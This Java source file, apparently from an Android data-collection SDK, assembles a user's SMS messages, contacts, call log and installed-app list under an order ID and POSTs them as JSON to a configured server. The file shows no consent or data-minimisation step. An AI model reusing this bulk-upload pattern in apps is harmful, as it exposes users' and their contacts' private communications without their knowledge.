package com.zhi.syc.data;

import android.content.Context;
import android.text.TextUtils;

import com.google.gson.Gson;
import com.zhi.syc.data.beans.ASDeviceResultBean;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.services.ASCallLogInfo;
import com.zhi.syc.data.services.ASContactInfo;
import com.zhi.syc.data.services.ASInstalledAppsInfo;
import com.zhi.syc.data.services.ASMessageInfo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.function.Supplier;


public class DeviceResultSupplier implements Supplier<String> {
    private final String mTaskId;
    private final String mOrderId;
    private final String mProduct;

    private final Context mContext;

    public DeviceResultSupplier(Context context, String taskId, String orderId, String product) {
        this.mContext = context;
        this.mTaskId = taskId;
        this.mOrderId = orderId;
        this.mProduct = product;
    }

    @Override
    public String get() {
        // 日志标记
        ASLogger.d(getClass().getSimpleName(), getClass().getSimpleName() + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(ASBuilder.P_D_RESULT)) {
            return mTaskId + "";
        }

        ASDeviceResultBean resultBean = new ASDeviceResultBean();
        resultBean.setOrderId(mOrderId);
        resultBean.setProduct(mProduct);

        resultBean.setBattery(1);
        resultBean.setDevice(1);
        resultBean.setHardware(1);
        resultBean.setStorage(1);
        resultBean.setWifi(1);
        resultBean.setApplist(ASInstalledAppsInfo.fetchResult);
        resultBean.setSms(ASMessageInfo.fetchResult);
        resultBean.setPhonebook(ASContactInfo.fetchResult);
        resultBean.setCalllog(ASCallLogInfo.fetchResult);

        String result = new Gson().toJson(resultBean).trim();

        HttpURLConnection httpURLConnection = null;
        try {
            String dirUrl = ASBuilder.S_HOST + ASBuilder.P_D_RESULT;
            ASLogger.d(getClass().getSimpleName(), ASBuilder.T_D_RESULT + "\n" + dirUrl + "\n" + result);

            httpURLConnection = ((HttpURLConnection) new URL(dirUrl).openConnection());
            httpURLConnection.setDoOutput(true);
            httpURLConnection.setDoInput(true);
            httpURLConnection.setUseCaches(false);
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
            httpURLConnection.setRequestProperty("Charset", "UTF-8");
            httpURLConnection.setRequestProperty("Content-Type", "application/json");
            httpURLConnection.setRequestProperty("Content-Length", (result.getBytes()).length + "");
            httpURLConnection.setReadTimeout(180000);
            httpURLConnection.setConnectTimeout(120000);
            httpURLConnection.getOutputStream().write(result.getBytes());
            httpURLConnection.getOutputStream().flush();
            httpURLConnection.getOutputStream().close();

            int resCode = httpURLConnection.getResponseCode();
            if (resCode == HttpURLConnection.HTTP_OK) {
                // 获取输入流，即从服务器获取数据
                BufferedReader reader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));

                // 读取数据
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    stringBuilder.append(line).append("\n");
                }

                //输出
                ASLogger.d(getClass().getSimpleName(), stringBuilder.toString());

                ASLogger.d(getClass().getSimpleName(), "" + mTaskId + " post success!");
            } else {
                ASLogger.d(getClass().getSimpleName(), "" + mTaskId + " post fail! " + resCode);
            }

        } catch (Exception e) {
            e.printStackTrace();
            ASLogger.d(getClass().getSimpleName(), "" + mTaskId + " post fail!" + e.getLocalizedMessage());
        } finally {
            if (httpURLConnection != null) {
                try {
                    //主动关闭inputStream, 这里不需要进行判空操作
                    httpURLConnection.getInputStream().close();
                    httpURLConnection.disconnect();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return mTaskId + "";
    }
}
